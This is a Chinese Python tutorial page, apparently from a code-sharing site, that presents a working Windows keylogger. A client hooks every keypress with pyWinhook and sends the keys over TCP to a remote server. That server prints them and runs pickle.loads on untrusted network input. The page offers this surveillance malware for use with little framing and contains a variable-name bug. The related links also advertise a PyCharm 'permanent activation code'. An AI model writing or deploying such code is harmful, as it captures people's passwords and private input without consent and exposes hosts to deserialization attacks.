python实现监听键盘

 更新时间:2021年04月26日 11:36:52   作者:noc_13  
这篇文章主要为大家详细介绍了python实现监听键盘,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger() 

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。

相关文章

  • python 使用pandas同时对多列进行赋值

    python 使用pandas同时对多列进行赋值

    这篇文章主要介绍了python 使用pandas同时对多列进行赋值操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2021-03-03
  • python中二分查找法的实现方法

    python中二分查找法的实现方法

    在本篇内容里小编给大家整理了关于python中二分查找法的实现方法,有需要的朋友们可以学习下。
    2020-12-12
  • 最新PyCharm 2021.3.1永久激活码(亲测有效)

    最新PyCharm 2021.3.1永久激活码(亲测有效)

    今天又有朋友反应PyCharm2021提示激活码过期了,下面再为大家分享一个2022年01月08日更新PyCharm2021最新激活码,需要的朋友可以参考下
    2020-11-11
  • python解释器spython使用及原理解析

    python解释器spython使用及原理解析

    这篇文章主要介绍了python解释器spython使用及原理解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2019-08-08
  • 利用Python实现自制文件搜索小工具

    利用Python实现自制文件搜索小工具

    当自己电脑文件很多还有点乱,不记得自己文件放哪里的时候,用电脑自带的搜索文件,这个等待时间可慢了。所以我们不如自己用python做一个搜索工具!犄角旮旯的文件都能一秒钟搜索出来的那种
    2022-09-09
  • 在PyCharm下使用 ipython 交互式编程的方法

    在PyCharm下使用 ipython 交互式编程的方法

    今天小编就为大家分享一篇在PyCharm下使用 ipython 交互式编程的方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-01-01
  • Python序列化基础知识(json/pickle)

    Python序列化基础知识(json/pickle)

    这篇文章主要为大家详细介绍了Python序列化json和pickle基础知识,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2017-10-10
  • python使用selenium打开chrome浏览器时带用户登录信息实现过程详解

    python使用selenium打开chrome浏览器时带用户登录信息实现过程详解

    这篇文章主要介绍了python使用selenium打开chrome浏览器时带用户登录信息,本文以实例给大家来展示如何让selenium在打开chrome浏览器的时候带上用户的登录信息,感兴趣的朋友跟随小编一起看看吧
    2022-02-02
  • pytest文档内置fixture的request详情

    pytest文档内置fixture的request详情

    这篇文章主要介绍了pytest文档内置fixture的request详情,文章围绕主题展开详细的内容介绍,具有一定的参考价值,需要的小伙伴可以参考一下
    2022-08-08
  • python3+PyQt5重新实现自定义数据拖放处理

    python3+PyQt5重新实现自定义数据拖放处理

    这篇文章主要为大家详细介绍了python3+PyQt5重新实现自定义数据拖放处理,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2018-04-04

最新评论